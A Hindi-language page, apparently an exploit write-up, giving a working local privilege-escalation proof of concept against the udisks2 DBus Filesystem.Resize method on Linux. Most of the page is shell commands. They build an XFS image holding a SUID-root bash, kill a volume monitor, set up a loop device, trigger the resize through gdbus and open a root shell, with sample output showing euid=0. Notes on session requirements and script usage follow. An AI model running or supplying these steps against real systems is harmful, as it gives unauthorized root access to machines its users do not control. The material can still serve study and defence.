
एक्सप्लॉइट
udisks2 संस्करणों वाले लिनक्स सिस्टमudisks2 सेवा (DBus इंटरफ़ेस)org.freedesktop.UDisks2.Filesystem.Resize विधि/tmp/blockdev* के अंतर्गत अस्थायी माउंट पॉइंटdd if=/dev/zero of=./xfs.image bs=1M count=300
mkfs.xfs ./xfs.image
mkdir ./xfs.mount
mount -t xfs ./xfs.image ./xfs.mount
cp /bin/bash ./xfs.mount
chmod 04555 ./xfs.mount/bash # Set SUID bit
umount ./xfs.mount
# सिस्टम क्षमताएं सत्यापित करें
gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
# इंटरफ़ेरेंस हटाएं
killall -KILL gvfs-udisks2-volume-monitor
# लूप डिवाइस सेटअप करें
udisksctl loop-setup --file ./xfs.image --no-user-interaction
# पृष्ठभूमि वॉचर (जब SUID बाइनरी दिखाई दे तो निष्पादित होता है)
while true; do
/tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break
done 2>/dev/null &
# DBus के माध्यम से भेद्यता ट्रिगर करें
gdbus call --system --dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop0 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
/tmp/blockdev*/bash -p # प्रिविलेज्ड शेल लॉन्च करें
id
# uid=65534(nobody) gid=65534(nobody) euid=0(root)
शोषण केवल logind सत्र में काम करता है!
udisksctl loop-setup --no-user-interaction कॉल polkit द्वारा अस्वीकार कर दिया जाता है, इसलिए PoC “Failed to create loop device” के साथ बाहर निकल जाता है।नोटिस:
$ sudo bash exploit.sh create
$ bash exploit.sh exploit
